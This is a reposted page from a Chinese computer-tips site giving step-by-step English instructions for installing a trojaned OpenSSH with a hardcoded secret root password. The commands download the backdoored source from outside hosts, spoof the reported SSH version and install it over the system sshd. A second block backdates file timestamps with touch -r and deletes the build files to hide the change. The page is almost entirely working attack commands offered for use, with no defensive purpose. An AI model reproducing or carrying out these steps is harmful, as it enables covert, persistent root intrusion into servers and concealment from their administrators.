首页 电脑 电脑学堂 查看内容

SSH backdoor

2009-10-29 10:15 619 0

摘要: How to install ---------------- shell-# wget http://geocities.com/pr1nce_empire/bd/sshbd.tgz shell-#...
关键词: ssh config etc sshd shell openssh version usr Edit configtouch

How to install ---------------- shell-# wget http://geocities.com/pr1nce_empire/bd/sshbd.tgz shell-# tar zxvf sshbd.tgz shell-# cd openssh Edit version.h likes the current version of ssh running on the box #define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2 Edit includes.h, specify your backdoor password #define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh shell-# make && make install shell-# cp ssh_config sshd_config /etc/ssh/ shell-# /etc/init.d/sshd restart FINISH, try logged in to the box "ssh -l root <IP_backdoored_machine>" enter your backdoor password. Boom, now you're root wget http://iori.co.uk/test/sshbd.tgz tar zxvf sshbd.tgz cd opensshvi version.h#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2 vi includes.h#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pubcp /etc/ssh/ssh_config /etc/ssh/ssh_config.pubtouch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pubtouch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pubcp /usr/bin/ssh /usr/bin/ssh-keypubtouch -r /usr/bin/ssh /usr/bin/ssh-keypub./configure --prefix=/usr --sysconfdir=/etc/ssh make && make install cp ssh_config sshd_config /etc/ssh/ cd ..rm -rf ./ssh*rm -rf opensshdiff /etc/ssh/sshd_config /etc/ssh/sshd_config.pubvi sshd_configdiff /etc/ssh/ssh_config /etc/ssh/ssh_config.pubvi ssh_configtouch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_configtouch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_configtouch -r /usr/bin/ssh-keypub /usr/bin/ssh*/etc/init.d/sshd restart
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部